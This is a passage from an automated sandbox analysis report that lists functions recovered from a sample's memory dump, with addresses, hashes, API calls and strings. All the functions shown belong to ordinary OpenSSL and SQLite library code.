Opcode ID: 8324c21a02e7839c4e05d1a77f48c3bc954daf600999b7cc353f78d7fc6cacf4
Instruction ID: 0c5a4bbba3bbfc5480a1fe8d0d47464e5d7af6f0644b5998cbb50dbee8cb5a2e
Opcode Fuzzy Hash: 8324c21a02e7839c4e05d1a77f48c3bc954daf600999b7cc353f78d7fc6cacf4
Instruction Fuzzy Hash: AF018138644361AAD610EF28AC47FDB76A0FF02B10F558544F998AB283D770FC459696

Function 10078090 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100780CE
__fprintf_l.LIBCMT ref: 100780F9

Strings

crypto\conf\conf_lib.c, xrefs: 100780BE, 100780DE
group=%s name=%s, xrefs: 100780F0
NCONF_get_string, xrefs: 100780B2

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: NCONF_get_string$crypto\conf\conf_lib.c$group=%s name=%s
API String ID: 3906573944-112008449
Opcode ID: 5451f131e9785d3a5ff0ea7aaeaee77a7e0b9397b371a42dbf6653a51bff9ea6
Instruction ID: 6f40dab68145932835846c0e07335e64ccf95ba8b5828530a304a06fe574d2e4
Opcode Fuzzy Hash: 5451f131e9785d3a5ff0ea7aaeaee77a7e0b9397b371a42dbf6653a51bff9ea6
Instruction Fuzzy Hash: B9F0A73968430279E610A6B0AD47F9BB691EF65741F008914F78CA80D2EFB2A17CE657

Function 1006A9A0 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 286COMMONLIBRARYCODE

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,?,?,?,?,?,?,00000001,?,?,?,?,?,?,user_get_first,?), ref: 1006AAB4
memmove.VCRUNTIME140(00000000,?,?,?,?,?,?,00000001,?,?,?,?,?,?,user_get_first,?), ref: 1006ABA3
memmove.VCRUNTIME140(00000000,?,?,?,?,?,?,00000001,?,?,?,?,?,?,user_get_first,?), ref: 1006AC86

Strings

crypto\bio\bio_print.c, xrefs: 1006AA89, 1006AAC9, 1006AB78, 1006ABB8, 1006AC63, 1006AC9B
<NULL>, xrefs: 1006A9AE, 1006A9D1

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove
String ID: <NULL>$crypto\bio\bio_print.c
API String ID: 2162964266-2046202334
Opcode ID: ae51903fe80c4aeb5928d2377e76ca888871a4636280b1fa74e37df2b8cfb667
Instruction ID: 15459bd7be9c04ad99d02b5e7deb3003222175be08127f45010020b945f2e6f1
Opcode Fuzzy Hash: ae51903fe80c4aeb5928d2377e76ca888871a4636280b1fa74e37df2b8cfb667
Instruction Fuzzy Hash: 0CA17B746043429BDB44EF2AC990B2A77E6FF963A4F25092DF885D7241E731D890CF62

Function 100677A0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,10078C46,?,?,?,?,?,?,?,00000000,00000000), ref: 100677AC
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,00000000), ref: 100677BA
SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 100677C3

Strings

assertion failed: ret >= 0, xrefs: 10067849
crypto\threads_win.c, xrefs: 10067844

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ErrorLast$Value
String ID: assertion failed: ret >= 0$crypto\threads_win.c
API String ID: 1883355122-2579572656
Opcode ID: 6cbf5abc10c0a950b5de0ea93198d90ca32889d168c44790c3872c44657f2f22
Instruction ID: 7b244015b2be331d4c971891ffebdc9724eee942cd3389ae1d5ee1e8bcc60b5d
Opcode Fuzzy Hash: 6cbf5abc10c0a950b5de0ea93198d90ca32889d168c44790c3872c44657f2f22
Instruction Fuzzy Hash: CE212036600211CFCB10DF18DC88A5AB7A6FFC9720F154169E90997311FB35AC19CBD2

Function 1006A6C0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 261COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 1006A7B7

Strings

+, xrefs: 1006A752
0123456789abcdef, xrefs: 1006A79A
0123456789ABCDEF, xrefs: 1006A79F

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __aulldvrm
String ID: +$0123456789ABCDEF$0123456789abcdef
API String ID: 1302938615-1078175416
Opcode ID: 6ca090cdaca9094e2fe3c0212f08c9ef19fc2db0f70e077e29a5b9afd7c195ff
Instruction ID: 6c4f434d063924a275ebc8dcac96572b0a04cac2f8348a2ea43d965c49be7e67
Opcode Fuzzy Hash: 6ca090cdaca9094e2fe3c0212f08c9ef19fc2db0f70e077e29a5b9afd7c195ff
Instruction Fuzzy Hash: 8D81D2716083119FD700DE2A898171BB7E6EFCA784F51492CF889D3252EB35DC458FA2

Function 1009F420 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1009F4AF

Strings

crypto\property\property_string.c, xrefs: 1009F49C, 1009F512, 1009F56F, 1009F5B5, 1009F629
ossl_property_string, xrefs: 1009F492, 1009F508

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\property\property_string.c$ossl_property_string
API String ID: 3906573944-239946531
Opcode ID: 66168feb2300927a5850ad0076fd55907b7a9750c43f4538c93bb49c81934ea3
Instruction ID: 2e35d5226810c4b3345254242e55c0b3fab39431d65f48974ab9f88a7f982f9e
Opcode Fuzzy Hash: 66168feb2300927a5850ad0076fd55907b7a9750c43f4538c93bb49c81934ea3
Instruction Fuzzy Hash: 5161D27A600742ABD700EF659C82B6FB3E4FF48354F450529F94C86242EB65FA24DB92

Function 1007E5A0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007E5DE

Strings

crypto\encode_decode\decoder_pkey.c, xrefs: 1007E5CC, 1007E67E, 1007E6AE, 1007E75F, 1007E77F, 1007E79E
ossl_decoder_ctx_for_pkey_dup, xrefs: 1007E5C2, 1007E759

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_pkey.c$ossl_decoder_ctx_for_pkey_dup
API String ID: 3906573944-2970143777
Opcode ID: c5373bd02af97609fbdf5448f10af1e2071037ee900bae8066318f0801853799
Instruction ID: 16ef90d852aaeec26f1d75455fd8fc4491254f776eae25707e57a05283a804b8
Opcode Fuzzy Hash: c5373bd02af97609fbdf5448f10af1e2071037ee900bae8066318f0801853799
Instruction Fuzzy Hash: B041F679A0538567D610EBA1BC81F6B3298EB19790F00C434FD88EA243F719FD14D26A

Function 10235100 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 164COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 10235206

Strings

database corruption, xrefs: 10235286
96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 1023527C
%s at line %d of [%.10s], xrefs: 1023528B

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExceptionRaise
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$database corruption
API String ID: 3997070919-3771113395
Opcode ID: 305c1730886e1d4eaa6ccc1cf43a3315359c7cb5095802e2ebe783b06fe901ff
Instruction ID: ea461eb93bade5d0d553e334cb4b01278657cd4a50733833e8cf157a9792b08c
Opcode Fuzzy Hash: 305c1730886e1d4eaa6ccc1cf43a3315359c7cb5095802e2ebe783b06fe901ff
Instruction Fuzzy Hash: 1551BDB56083228FD304CF59C890A5BB7E1FFC8345F96492DF89D9B240EB34E9158B82

Function 10082E90 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 161COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008305B

Part of subcall function 100672C0: AcquireSRWLockShared.KERNEL32(00000000,10082EFC,00000000,00000001,?,00000000,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000), ref: 100672C4

qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,00000008,10083230,?,?,?,00000001,?,00000000,1006F40D), ref: 10082FB4

Strings

get_and_lock, xrefs: 10083041
crypto\ex_data.c, xrefs: 10082F44, 1008302C, 10083048

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireLockShared__fprintf_lqsort
String ID: crypto\ex_data.c$get_and_lock
API String ID: 2849024043-4055479251
Opcode ID: 88cb7486729da6caca30f8d08faeaf5ec90c463713076c95479b37491f3deee5
Instruction ID: f16189297f98d0b2ada48e4376c77914d309169420d4256f49ffa5ae5cb5478f
Opcode Fuzzy Hash: 88cb7486729da6caca30f8d08faeaf5ec90c463713076c95479b37491f3deee5
Instruction Fuzzy Hash: D751A175904302ABD710CF58CC82A1BB7E5FF98340F11493AF98497222EB75EA24CBD2

Function 10069410 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100694B8
__fprintf_l.LIBCMT ref: 1006958A

Strings

crypto\bio\bio_lib.c, xrefs: 100694A8, 1006957A
bio_write_intern, xrefs: 1006949E, 10069570

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: bio_write_intern$crypto\bio\bio_lib.c
API String ID: 3906573944-3801666009
Opcode ID: bf018149dd9ccf889d3f77d67988b8c00816e4f01ec040605227557f573f950a
Instruction ID: 51b8ca749ad3d06d57a242bf6bf3d3277277f3fef40a366f3fb8b1fe6af57273
Opcode Fuzzy Hash: bf018149dd9ccf889d3f77d67988b8c00816e4f01ec040605227557f573f950a
Instruction Fuzzy Hash: 2F41D631744701ABE720CA69DC42F9B73DDEF81B60F10461DF6699A9C0DBA1F9018756

Function 10078940 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10078A6C
__fprintf_l.LIBCMT ref: 10078AC1

Strings

module_init, xrefs: 10078A4F, 10078AA4
crypto\conf\conf_mod.c, xrefs: 10078953, 10078982, 10078997, 10078A59, 10078AAE, 10078B26, 10078B38, 10078B4A

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\conf\conf_mod.c$module_init
API String ID: 3906573944-3108863321
Opcode ID: bf90f3f663e6780c672ea273595c9ee731290a204ecfd36b96de66e9b05a1ebc
Instruction ID: 29b4d4fcdc31d85e632ccaca97dcf59f83959cc7f4f5b6144f8f87eb5a4fbecb
Opcode Fuzzy Hash: bf90f3f663e6780c672ea273595c9ee731290a204ecfd36b96de66e9b05a1ebc
Instruction Fuzzy Hash: 6C413878680302B7D200EB60AC52F9F76D4EF41754F004524F98DA6292EFA9BA6CD767

Function 100B6600 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 153COMMON

Download Yara Rule

APIs

Part of subcall function 1007D820: __fprintf_l.LIBCMT ref: 1007D8B3

Part of subcall function 100A58F0: __fprintf_l.LIBCMT ref: 100A5929

__fprintf_l.LIBCMT ref: 100B6762

Strings

crypto\pem\pem_pkey.c, xrefs: 100B6752
pem_read_bio_key_decoder, xrefs: 100B674B
PEM, xrefs: 100B664E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: PEM$crypto\pem\pem_pkey.c$pem_read_bio_key_decoder
API String ID: 3906573944-730149745
Opcode ID: 279fa589cfb67b4746694518f3215361b3cb4318e2fd27b9c8da54b54f3d8ee1
Instruction ID: f375014e91e87c25cff9c7614ecca2bc7d217a5e516884c40aabc18c4cad2e31
Opcode Fuzzy Hash: 279fa589cfb67b4746694518f3215361b3cb4318e2fd27b9c8da54b54f3d8ee1
Instruction Fuzzy Hash: 7A415B7A7452016BEA10EB64EC03F2F73D8DF84759F14052DFA4575183EE69BC1442A7

Function 100E3800 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100E3827
__fprintf_l.LIBCMT ref: 100E3858

Strings

general_allocate_prompt, xrefs: 100E380E, 100E3842
crypto\ui\ui_lib.c, xrefs: 100E3815, 100E3849, 100E3869, 100E38BA, 100E38D1, 100E38E0, 100E38EF, 100E3901, 100E3945, 100E395C, 100E396B, 100E397A, 100E398C

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\ui\ui_lib.c$general_allocate_prompt
API String ID: 3906573944-1015203450
Opcode ID: 2657f4c7b46a31fdcc00826d146a2274a9e9336c5ebff81f6affef88ca52f045
Instruction ID: 1bfcdeb4d78c3e6cfbe1f08e238f199785023c8762112e7726617e2bf5bc69f4
Opcode Fuzzy Hash: 2657f4c7b46a31fdcc00826d146a2274a9e9336c5ebff81f6affef88ca52f045
Instruction Fuzzy Hash: 414157789807066EC221DF66AE42F0BBBF1EF51B18F204619F8CE322D2D771B568C651

Function 100E3620 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100E3647
__fprintf_l.LIBCMT ref: 100E3678

Strings

general_allocate_prompt, xrefs: 100E362E, 100E3662
crypto\ui\ui_lib.c, xrefs: 100E3635, 100E3669, 100E3689, 100E36DA, 100E36F1, 100E3700, 100E370F, 100E3721, 100E3765, 100E377C, 100E378B, 100E379A, 100E37AC

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\ui\ui_lib.c$general_allocate_prompt
API String ID: 3906573944-1015203450
Opcode ID: 01e336186ed8bac7846f6b71fb36b689103fa7d327ef1521761a0148c5c73015
Instruction ID: 7c3abb80d113f87985187edff23784b8c535e392c75b1b3375da36b553689ff5
Opcode Fuzzy Hash: 01e336186ed8bac7846f6b71fb36b689103fa7d327ef1521761a0148c5c73015
Instruction Fuzzy Hash: AA4176B85847027ED231DF66AD46F0BBBF0EF10B18F204619F9CA222D2D770B428C681

Function 100A5520 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A555C

Strings

crypto\encode_decode\decoder_lib.c, xrefs: 100A554A, 100A5596
OSSL_DECODER_CTX_add_extra, xrefs: 100A5540, 100A558C

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_add_extra$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-3081908278
Opcode ID: 8e987c4cd9ac664312826c888dff13e2c5df5440c432fe47d1f7e8e8a44a0ffa
Instruction ID: 566d90f6039f397f0ae6162037e21d897cca4c401c72dd77559cfa991431b007
Opcode Fuzzy Hash: 8e987c4cd9ac664312826c888dff13e2c5df5440c432fe47d1f7e8e8a44a0ffa
Instruction Fuzzy Hash: BA41D1759083419FC300DBA9DC81B4BB6E5FF88359F854A29F588A3201FB76E940CB96

Function 1006FB90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 131COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006FBBF

Strings

crypto\bn\bn_shift.c, xrefs: 1006FBAF
BN_lshift, xrefs: 1006FBA8

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: BN_lshift$crypto\bn\bn_shift.c
API String ID: 3906573944-1790063678
Opcode ID: acd313b4c1308000ebe8b2a8b304679eb7ddfd895b3c4815564a1807fcc2ef54
Instruction ID: 103a6947e35edc74c47a9f0cee7cc05261bca27feafec0948117c095760ce46d
Opcode Fuzzy Hash: acd313b4c1308000ebe8b2a8b304679eb7ddfd895b3c4815564a1807fcc2ef54
Instruction Fuzzy Hash: 3641B8B6A046259BD700DF08DD82B1AB3E1FF88710F444669E848AB341E730F919CBE2

Function 100C8100 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 126COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100C8224

Strings

X509_PUBKEY_get, xrefs: 100C8207
X509_PUBKEY_get0, xrefs: 100C81DA
crypto\x509\x_pubkey.c, xrefs: 100C813C, 100C8162, 100C817E, 100C81E4, 100C8211

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: X509_PUBKEY_get$X509_PUBKEY_get0$crypto\x509\x_pubkey.c
API String ID: 3906573944-2146930455
Opcode ID: 5d4e110c6caf15aa6c74aadada8d9ac6aa429a6e016a7023d070fb6dffac8693
Instruction ID: 4023e485bccdc7981d319afeb467725a4f3753649db5ba131d7c70471a280735
Opcode Fuzzy Hash: 5d4e110c6caf15aa6c74aadada8d9ac6aa429a6e016a7023d070fb6dffac8693
Instruction Fuzzy Hash: 57411379A44302BBC700CF61EC46B5FB7E4FF85764F00496AF99866241D734E618CBAA

Function 1005AC30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005AD06

Strings

OBJ_nid2obj, xrefs: 1005ACEC, 1005AD1A
crypto\objects\obj_dat.c, xrefs: 1005ACF6, 1005AD24

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OBJ_nid2obj$crypto\objects\obj_dat.c
API String ID: 3906573944-992393664
Opcode ID: dbd59308f3b088277af01a958928e675b76601600b5c14529b4c1c2afb128e88
Instruction ID: 4d035349398429baf872b50bc79f5b79e1573e3147935bba4a8f96cb85aaa61f
Opcode Fuzzy Hash: dbd59308f3b088277af01a958928e675b76601600b5c14529b4c1c2afb128e88
Instruction Fuzzy Hash: A521F474900315ABE310EB249C83FDA76D4FB49748F410528F94CDA182FB69F96CC696

Function 1006E720 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006E755

Strings

crypto\stack\stack.c, xrefs: 1006E745, 1006E781, 1006E7CE, 1006E7F3
sk_reserve, xrefs: 1006E73B, 1006E7C4

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\stack\stack.c$sk_reserve
API String ID: 3906573944-838942221
Opcode ID: f30fdbe65f6003997517e22a14d796d1578bbf6df4be7b577361566ffb9278fc
Instruction ID: c1eba24933bd6402e2c8bc1d3e0a32f2d3bf78fabf624f68fe6b411593d20d7e
Opcode Fuzzy Hash: f30fdbe65f6003997517e22a14d796d1578bbf6df4be7b577361566ffb9278fc
Instruction Fuzzy Hash: FD21C575A443576AD310DB68BD03B8A7395EB417A0F018231F918E7182F770FC55C6D2

Function 1007FB90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FBE5
__fprintf_l.LIBCMT ref: 1007FC20

Strings

DSO_free, xrefs: 1007FBCE, 1007FC09
